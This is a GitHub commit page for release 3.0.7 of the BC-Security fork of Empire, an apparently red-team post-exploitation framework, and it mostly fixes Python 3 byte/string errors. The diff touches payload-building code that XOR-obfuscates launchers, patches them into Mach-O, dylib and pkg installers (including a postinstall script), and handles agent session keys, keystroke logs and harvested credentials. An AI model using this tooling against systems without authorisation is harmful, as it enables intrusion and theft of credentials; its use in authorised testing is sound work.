Skip to content

Commit

Permalink
Merge pull request #98 from BC-SECURITY/dev
Browse files Browse the repository at this point in the history
3.0.7
  • Loading branch information
Cx01N authored Feb 7, 2020
2 parents 701fab9 + 2b88eab commit d41d6b0
Show file tree
Hide file tree
Showing 11 changed files with 103 additions and 62 deletions.
2 changes: 1 addition & 1 deletion VERSION
Original file line number Diff line number Diff line change
@@ -1 +1 @@
3.0.6
3.0.7
8 changes: 8 additions & 0 deletions changelog
Original file line number Diff line number Diff line change
@@ -1,3 +1,11 @@
2/6/2020
------------
- Version 3.0.7 Master Release
- Fixed string decode error in API - #92 (@Cx01N)
- Fixed python3 conversion errors in backdoorlnkmacro, multi/war, osx/dylib, osx/pkg, and osx/macho launchers (@Cx01N & @hypnoticpattern)
- Fixed exception error in autorun queue - #95 (@Cx01N)
- Fixed report generation and SQL database errors (@Vinnybod & @Cx01N)

1/31/2020
------------
- Version 3.0.6 Master Release
Expand Down
26 changes: 20 additions & 6 deletions empire
Original file line number Diff line number Diff line change
Expand Up @@ -375,8 +375,12 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
stagerOut = copy.deepcopy(stager.options)

if ('OutFile' in stagerOut) and (stagerOut['OutFile']['Value'] != ''):
# if the output was intended for a file, return the base64 encoded text
stagerOut['Output'] = base64.b64encode(stager.generate())
if isinstance(stager.generate(),str):
# if the output was intended for a file, return the base64 encoded text
stagerOut['Output'] = base64.b64encode(stager.generate().encode('UTF-8'))
else:
stagerOut['Output'] = base64.b64encode(stager.generate())

else:
# otherwise return the text of the stager generation
stagerOut['Output'] = stager.generate()
Expand Down Expand Up @@ -478,7 +482,8 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
return make_response(jsonify({'error': 'module produced an empty script'}), 400)

try:
moduleData.decode('ascii')
if isinstance(moduleData, bytes):
moduleData = moduleData.decode('ascii')
except UnicodeDecodeError:
return make_response(jsonify({'error': 'module source contains non-ascii characters'}), 400)

Expand Down Expand Up @@ -782,7 +787,10 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,

stale = agentTime < time.mktime(time.localtime()) - intervalMax

agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key.decode('latin-1').encode('utf-8'), "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results, "stale":stale})
if isinstance(session_key,bytes):
session_key = session_key.decode('latin-1').encode('utf-8')

agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results, "stale":stale})

return jsonify({'agents' : agents})

Expand All @@ -808,8 +816,10 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
agentTime = time.mktime(time.strptime(lastseen_time, "%Y-%m-%d %H:%M:%S"))

if agentTime < time.mktime(time.localtime()) - intervalMax:
if isinstance(session_key, bytes):
session_key = session_key.decode('latin-1').encode('utf-8')

staleAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key.decode('latin-1').encode('utf-8'), "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
staleAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})

return jsonify({'agents' : staleAgents})

Expand Down Expand Up @@ -874,7 +884,11 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,

for activeAgent in activeAgentsRaw:
[ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = activeAgent
activeAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key.decode('latin-1').encode("utf-8"), "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})

if isinstance(session_key,bytes):
session_key = session_key.decode('latin-1').encode('utf-8')

activeAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})

return jsonify({'agents' : activeAgents})

Expand Down
11 changes: 6 additions & 5 deletions lib/common/agents.py
Original file line number Diff line number Diff line change
Expand Up @@ -245,11 +245,12 @@ def save_file(self, sessionID, path, data, append=False):
"""
Save a file download for an agent to the appropriately constructed path.
"""
nameid = self.get_agent_id_db(sessionID)
if nameid:
sessionID = nameid

sessionID = self.get_agent_name_db(sessionID)
lang = self.get_language_db(sessionID)
parts = path.split("\\")
parts

# construct the appropriate save path
save_path = "%sdownloads/%s/%s" % (self.installPath, sessionID, "/".join(parts[0:-1]))
Expand Down Expand Up @@ -1496,10 +1497,10 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s
#this will cause the cmdloop() to start processing the autoruns
self.mainMenu.do_agents("kickit")
except Exception as e:
if e.message == "endautorun":
if e == "endautorun":
pass
else:
raise e
print(helpers.color("[!] End of Autorun Queue" ))

return "STAGE2: %s" % (sessionID)

Expand Down Expand Up @@ -1940,7 +1941,7 @@ def process_agent_packet(self, sessionID, responseName, taskID, data):


elif responseName == "TASK_CMD_JOB":
#check if this is the powershell keylogging task, if so, write output to file instead of screen
#check if this is the powershell keylogging task, if so, write output to file instead of screen
if keyLogTaskID and keyLogTaskID == taskID:
safePath = os.path.abspath("%sdownloads/" % self.mainMenu.installPath)
savePath = "%sdownloads/%s/keystrokes.txt" % (self.mainMenu.installPath,sessionID)
Expand Down
51 changes: 32 additions & 19 deletions lib/common/empire.py
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@
from builtins import str
from builtins import range

VERSION = "3.0.6 BC-Security Fork"
VERSION = "3.0.7 BC-Security Fork"

from pydispatch import dispatcher

Expand Down Expand Up @@ -959,33 +959,48 @@ def do_report(self, line):
f = open('data/credentials.csv','w')
f.write('Domain, Username, Host, Cred Type, Password\n')
for row in rows:
row = list(row)
for n in range(len(row)):
if isinstance(row[n], bytes):
row[n] = row[n].decode('UTF-8')
f.write(row[0]+ ','+ row[1]+ ','+ row[2]+ ','+ row[3]+ ','+ row[4]+'\n')
f.close()

# Empire Log
cur.execute("""
SELECT
reporting.time_stamp
,reporting.event_type
,reporting.name as "AGENT_ID"
,a.hostname
,reporting.taskID
,t.data AS "Task"
,r.data AS "Results"
time_stamp,
event_type,
substr(reporting.name, pos+1) as agent_name,
a.hostname,
taskID,
t.data as "Task",
r.data as "Results"
FROM
reporting
JOIN agents a on reporting.name = a.session_id
LEFT OUTER JOIN taskings t on (reporting.taskID = t.id) AND (reporting.name = t.agent)
LEFT OUTER JOIN results r on (reporting.taskID = r.id) AND (reporting.name = r.agent)
WHERE
reporting.event_type == 'task' OR reporting.event_type == 'checkin'
(
SELECT
time_stamp,
event_type,
name,
instr(name, '/') as pos,
taskID
FROM reporting
WHERE name LIKE 'agent%'
AND reporting.event_type == 'task' OR reporting.event_type == 'checkin') reporting
LEFT OUTER JOIN taskings t on (reporting.taskID = t.id) AND (agent_name = t.agent)
LEFT OUTER JOIN results r on (reporting.taskID = r.id) AND (agent_name = r.agent)
JOIN agents a on agent_name = a.session_id
""")
rows = cur.fetchall()
print(helpers.color("[*] Writing data/master.log"))
f = open('data/master.log', 'w')
f.write('Empire Master Taskings & Results Log by timestamp\n')
f.write('='*50 + '\n\n')
for row in rows:
row = list(row)
for n in range(len(row)):
if isinstance(row[n], bytes):
row[n] = row[n].decode('UTF-8')
f.write('\n' + row[0] + ' - ' + row[3] + ' (' + row[2] + ')> ' + str(row[5]) + '\n' + str(row[6]) + '\n')
f.close()
cur.close()
Expand Down Expand Up @@ -1139,8 +1154,7 @@ def cmdloop(self):

def emptyline(self):
pass



def postcmd(self, stop, line):
if line == "back":
return True
Expand All @@ -1149,8 +1163,7 @@ def postcmd(self, stop, line):
if nextcmd == "lastautoruncmd":
raise Exception("endautorun")
self.cmdqueue.append(nextcmd)



def do_back(self, line):
"Go back a menu."
return True
Expand Down Expand Up @@ -4469,7 +4482,7 @@ def do_generate(self, line):
"Generate/execute the given Empire stager."
if not self.validate_options():
return

stagerOutput = self.stager.generate()

savePath = ''
Expand Down
1 change: 0 additions & 1 deletion lib/common/pylnk.py
Original file line number Diff line number Diff line change
Expand Up @@ -627,7 +627,6 @@ def ret(self):
ret += pack('<B',0) #hotkey
ret += pack('<B',0) #hotkey
ret += (b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') # reserved
print(ret)

if self.link_flags.has_shell_item_id_list:
siil = self.shell_item_id_list.bytes
Expand Down
37 changes: 20 additions & 17 deletions lib/common/stagers.py
Original file line number Diff line number Diff line change
Expand Up @@ -153,7 +153,7 @@ def generate_shellcode(self, poshCode, arch):

dllRaw = ''
with open(origPath, 'rb') as f:
dllRaw = f.read()
dllRaw = f.read()

replacementCode = helpers.decode_base64(poshCode)
# patch the dll with the new PowerShell code
Expand All @@ -163,14 +163,14 @@ def generate_shellcode(self, poshCode, arch):

flags = 0
flags |= 0x1

sc = ConvertToShellcode(dllPatched)

return sc

else:
print(helpers.color("[!] Original .dll for arch {} does not exist!".format(arch)))



def generate_macho(self, launcherCode):
Expand All @@ -193,10 +193,10 @@ def generate_macho(self, launcherCode):
count = 0
if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64:
count += 1
if cmd[count].segname.strip('\x00') == '__TEXT' and cmd[count].nsects > 0:
if cmd[count].segname.strip(b'\x00') == b'__TEXT' and cmd[count].nsects > 0:
count += 1
for section in cmd[count]:
if section.sectname.strip('\x00') == '__cstring':
if section.sectname.strip(b'\x00') == b'__cstring':
offset = int(section.offset) + (int(section.size) - 2119)
placeHolderSz = int(section.size) - (int(section.size) - 2119)

Expand All @@ -207,8 +207,8 @@ def generate_macho(self, launcherCode):

key = 'subF'
launcherCode = ''.join(chr(ord(x) ^ ord(y)) for (x,y) in zip(launcherCode, cycle(key)))
launcherCode = base64.urlsafe_b64encode(launcherCode)
launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode))
launcherCode = base64.urlsafe_b64encode(launcherCode.encode('utf-8'))
launcher = launcherCode + b'\x00' * (placeHolderSz - len(launcherCode))
patchedMachO = template[:offset]+launcher+template[(offset+len(launcher)):]

return patchedMachO
Expand Down Expand Up @@ -246,10 +246,10 @@ def generate_dylib(self, launcherCode, arch, hijacker):
count = 0
if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64 or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT:
count += 1
if cmd[count].segname.strip('\x00') == '__TEXT' and cmd[count].nsects > 0:
if cmd[count].segname.strip(b'\x00') == b'__TEXT' and cmd[count].nsects > 0:
count += 1
for section in cmd[count]:
if section.sectname.strip('\x00') == '__cstring':
if section.sectname.strip(b'\x00') == b'__cstring':
offset = int(section.offset)
placeHolderSz = int(section.size) - 52
template = f.read()
Expand All @@ -258,7 +258,9 @@ def generate_dylib(self, launcherCode, arch, hijacker):
if placeHolderSz and offset:

launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode))
patchedDylib = template[:offset]+launcher+template[(offset+len(launcher)):]
if isinstance(launcher,str):
launcher = launcher.encode('UTF-8')
patchedDylib = b"".join([template[:offset],launcher,template[(offset+len(launcher)):]])

return patchedDylib
else:
Expand Down Expand Up @@ -304,7 +306,7 @@ def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm):

if placeHolderSz and offset:

launcher = launcherCode.encode('utf8') + b'\x00' * (placeHolderSz - len(launcherCode))
launcher = launcherCode.encode('utf-8') + b'\x00' * (placeHolderSz - len(launcherCode))
patchedBinary = template[:offset]+launcher+template[(offset+len(launcher)):]
if AppName == "":
AppName = "launcher"
Expand Down Expand Up @@ -423,18 +425,19 @@ def generate_pkg(self, launcher, bundleZip, AppName):
os.chdir("pkgbuild")
os.system("cp -r ../"+AppName+".app root/Applications/")
os.system("chmod +x root/Applications/")
os.system("( cd root && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Payload")
subprocess.call("( cd root && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Payload", shell=True, stderr=subprocess.DEVNULL)

os.system("chmod +x expand/Payload")
s = open('scripts/postinstall','r+')
script = s.read()
script = script.replace('LAUNCHER',launcher)
s.seek(0)
s.write(script)
s.close()
os.system("( cd scripts && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Scripts")
subprocess.call("( cd scripts && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Scripts", shell=True, stderr=subprocess.DEVNULL)
os.system("chmod +x expand/Scripts")
numFiles = subprocess.check_output("find root | wc -l",shell=True).strip('\n')
size = subprocess.check_output("du -b -s root",shell=True).split('\t')[0]
numFiles = subprocess.check_output("find root | wc -l",shell=True).strip(b'\n')
size = subprocess.check_output("du -b -s root",shell=True).split(b'\t')[0]
size = old_div(int(size), 1024)
p = open('expand/PackageInfo','w+')
pkginfo = """<?xml version="1.0" encoding="utf-8" standalone="no"?>
Expand All @@ -461,7 +464,7 @@ def generate_pkg(self, launcher, bundleZip, AppName):
</pkg-info>
"""
pkginfo = pkginfo.replace('APPNAME',AppName)
pkginfo = pkginfo.replace('KEY1',numFiles)
pkginfo = pkginfo.replace('KEY1',numFiles.decode('UTF-8'))
pkginfo = pkginfo.replace('KEY2',str(size))
p.write(pkginfo)
p.close()
Expand Down
2 changes: 1 addition & 1 deletion lib/stagers/multi/war.py
Original file line number Diff line number Diff line change
Expand Up @@ -143,7 +143,7 @@ def generate(self):
''' %(appName, appName)

# build the in-memory ZIP and write the three files in
warFile = io.StringIO()
warFile = io.BytesIO()
zipData = zipfile.ZipFile(warFile, 'w', zipfile.ZIP_DEFLATED)

zipData.writestr("META-INF/MANIFEST.MF", manifest)
Expand Down
1 change: 0 additions & 1 deletion lib/stagers/osx/dylib.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,6 @@
from __future__ import print_function
from builtins import object
from lib.common import helpers
import os

class Stager(object):

Expand Down
Loading

0 comments on commit d41d6b0

Please sign in to comment.